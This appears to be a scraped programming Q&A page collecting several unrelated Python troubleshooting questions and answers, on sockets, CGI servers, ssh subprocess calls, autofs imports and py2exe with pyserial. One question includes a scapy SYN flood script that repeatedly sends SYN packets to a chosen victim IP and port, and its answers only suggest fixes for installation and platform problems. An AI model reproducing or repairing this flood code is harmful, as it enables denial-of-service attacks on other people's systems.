I'm currently working on a project that requires I edit a configure file to replace an old standard port number if the port is being used. The code I'm currently using is the following:
import os
import sys
import socket
import select
import tempfile
import subprocess
import threading
import Queue
import time
import fileinput
...
def find_open_port():
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.bind(("",0))
s.listen(1)
tempport = s.getsocketname()[1]
s.close()
return tempport
When I run it from my Ubuntu machine (Python 2.7.6) , it runs fine, but on my CentOS 6 VM running in my Redhawk Component I get the following:
AttributeError: '_socketobject' object has no attribute 'getsocketname'
Not exactly sure why I'm getting this error. Python in Redhawk is running 2.6 I want to say?
Any clue as to why this would happen and how to fix?
Your code calls the method getsockname but your error says getsocketname, you sure you copied it right when writing it to Redhawk?
Related
Environment:
Python 3.7.7
Windows 10 64bits
Purpose of the code:
Display an HTML report of my software activity. It uses http.server module loaded by file Report.py and the data report are extracted by index.py.
I have a script myscript.py which launches the server by calling a method StartReportTool() inside the module Report.py.
Report.py launch the server and load the index.py.
Files & Folder tree:
- myscript.py <= call the method in module Report.py to launch web server
- /report
- /report/Report.py <= launch the web server
- /report/index.py <= extract the data and display them in html
Source code:
myscript.py:
def report():
from report import Report
Report.StartReportTool()
report()
/report/Report.py
#coding:utf-8
import http.server
import webbrowser
def StartReportTool():
port=8888
address=("",port)
server=http.server.HTTPServer
handler=http.server.CGIHTTPRequestHandler
handler.cgi_directories=["/"]
httpd=server(address,handler)
print(f"Report tool server started on port {port}")
webbrowser.open('http://localhost:8888/index.py', new=2)
httpd.serve_forever()
index.py:
#coding:utf-8
import cgi
import cgitb
cgitb.enable()
form = cgi.FieldStorage()
print("Content-type: text/html; charset=utf-8\n")
html=f"""
<!DOCTYPE html>
My html code
"""
Problem:
When I run myscript.py which launches my http.server, my browser open url 'http://localhost:8888/index.py' and show error 404:
Error response
Error code: 404
Message: No such CGI script ('//index.py').
Error code explanation: HTTPStatus.NOT_FOUND - Nothing matches the given URI.
After investigation, I realized everything is fine when the server is launched by its own script Report.py:
#coding:utf-8
import http.server
import webbrowser
def StartReportTool():
port=8888
address=("",port)
server=http.server.HTTPServer
handler=http.server.CGIHTTPRequestHandler
handler.cgi_directories=["/"]
httpd=server(address,handler)
print(f"Report tool server started on port {port}")
webbrowser.open('http://localhost:8888/index.py', new=2)
httpd.serve_forever()
StartReportTool() # <======= Here is the line of code which launch the server itself inside the same module
You noticed here the last line of code StartReportTool() which calls the method inside the module itself. And it is working fine by this way. My index.py is loaded correctly.
The problem comes when the method StartReportTool() is called from outside the method.
I don't understand the reasons for the issue. Does anyone understand the source of the problem, please?
I have script in remote device and I want to run specific function in python script in remote device
remote device has below script:
#connect.py
class ConnectDevice:
def __init__(self, ip):
connect.Device(ip)
def get_devicestate(self):
state = show.Device_State
return state
configured password less connection from source machine to remote machine
function get_devicestate return up or down.
How to get get_devicestate output from source machine. source machine has below script:
import os
import sys
import time
import getpass
import errno
import json
import subprocess
import threading
from subprocess import call
from subprocess import check_output
call(["ssh", "1.1.1.1", "\"python Connect.py\""])#This is just example how to run script from source to remote. Need help how to run function get_devicestate and get value.
At a first glance , it seems that connect.py has got more code than you have pasted in your question. Anyways, assuming connect.py does not require any input parameters to run, simply use subprocess's check_output method to get the stdout message and store it in a variable for further use.
from subprocess import check_output
out = check_output(["ssh", "1.1.1.1", "\"python Connect.py\""])
I have a python module called user_module, which resides in a mounted network location.
In a script I'm using, I need to import that module - but due to NFS issues, sometimes this path isn't available until we actually change directory to the relevant one and\or restarting autofs service.
In order to reproduce the issue and try to WA it - I've manually stopped autofs service, and tried to run my script with my WA - (probably not the most elegant one though):
import os
import sys
from subprocess import call
PATH="/some/network/path"
sys.path.append(PATH)
try:
os.chdir(PATH)
import user_module
except:
print "Unable to load user_module, trying to restart autofs service"
call(['service', 'autofs', 'restart'])
os.chdir(PATH)
import user_module # Throws Import error!
But, I still get import error due to path unavabilable.
Now this is what I find weird - On the same machine, I've tried executing the same operations as in my script, with intentionally pre stopping autofs service, and it works perfect -
[root#machine]: service autofs stop # To reproduce the import error
[root#machine]: python
>>> import os
>>> import sys
>>> from subprocess import call
>>> PATH="/some/network/path"
>>> sys.path.append(PATH)
>>> os.chdir(PATH)
######################################################################
################## exception of no such file or directory ############
######################################################################
>>> call(['service', 'autofs', 'restart'])
>>> os.chdir(PATH) # No exception now after restarting the service
>>> import user_module # NO Import error here
Can someone shed some light on the situation
and explain to me why same methodology works through python CLI, but through a script?
What is it that I don't know or what is it that I'm missing here?
Also - How to overcome this?
Thanks
I am writing code for synflood attack but when I run the file via python I get errors.
SYNFlood.py file:
import sys
import logging
logging.getLogger("scapy.runtime").setLevel(logging.ERROR)
from scapy.all import *
target_ip = sys.argv[1] # the ip of the victim machine
target_port = sys.argv[2] # the port of the victim machine
print ("ip "+target_ip+" port "+target_port)
send(IP(src="192.168.x.x", dst="target_ip")/TCP(sport=135,dport=target_port), count=2000)
But when I am running the file with:
python SYNFlood.py target_ip target_port
I get the following error:
I have tried to alter the code as the following:
while (1==1):
p=IP(dst=target_ip,id=1111,ttl=99)/TCP(sport=RandShort(),dport=int(target_port) ,seq=12345,ack=1000,window=1000,flags="S")
send(p, count=10)
But even if on cmd I get
when I run on target pc the command netstat -A I dont see syn_recv packets.
I have tried with
send(p, verbose=0, count=10)
but I dont have any output neither on dst pc nor src pc with respective commands.
Try reinstalling scapy or scapy3k. This sounds like a build issue. Confirm you are using the correct scapy version.
I figured out that I had to run the program on windows 32-bit version.
I have developed a python script for making a serial communication to a digital pump. I now need to make an executable out of it. However even though it works perfectly well when running it with python and py2exe does produce the .exe properly when I run the executable the following error occurs:
File: pump_model.pyc in line 96 in connect_new
File: serial\__init__.pyc in line 71 in serial_for_url
ValueError: invalid URL protocol 'loop' not known
The relevant piece of my code is the following:
# New serial connection
def connect_new(self, port_name):
"""Function for configuring a new serial connection."""
try:
self.ser = serial.Serial(port = port_name,\
baudrate = 9600,\
parity = 'N',\
stopbits = 1,\
bytesize = 8,\
timeout = self.timeout_time)
except serial.SerialException:
self.ser = serial.serial_for_url('loop://',\
timeout = self.timeout_time) # This line BLOWS!
except:
print sys.exc_info()[0]
finally:
self.initialize_pump()
I should note that the application was written in OSX and was tested on Windows with the Canopy Python Distribution.
I had the exact same problem with "socket://" rather than "loop://"
I wasn't able to get the accepted answer to work however the following seems to succeed:
1) Add an explicit import of the offending urlhandler.* module
import serial
# explicit import for py2exe - to fix "socket://" url issue
import serial.urlhandler.protocol_socket
# explicit import for py2exe - to fix "loop://" url issue (OP's particular prob)
import serial.urlhandler.protocol_loop
# use serial_for_url in normal manner
self._serial = serial.serial_for_url('socket://192.168.1.99:12000')
2) Generate a setup script for py2exe (see https://pypi.python.org/pypi/py2exe/) -- I've installed py2exe to a virtualenv:
path\to\env\Scripts\python.exe -m py2exe myscript.py -W mysetup.py
3) edit mysetup.py to include option
zipfile="library.zip" # default generated value is None
(see also http://www.py2exe.org/index.cgi/ListOfOptions)
3) build it:
path\to\env\Scripts\python.exe mysetup.py py2exe
4) run it
dist\myscript.exe
Found it!
It seems that for some reason the 'loop://' arguement can't be recognised after the .exe production.
I figured out by studying the pyserial/init.py script that when issuing the command serial.serial_for_url(‘loop://') you essentially call:
sys.modules['serial.urlhandler.protocol_loop’].Serial(“loop://“)
So you have to first import the serial.urlhandler.protocol_loop
and then issue that command in place of the one malfunctioning.
So you can now type:
__import__('serial.urlhandler.protocol_loop')
sys.modules[‘serial.urlhandler.protocol_loop’].Serial("loop://")
After this minor workaround it worked fine.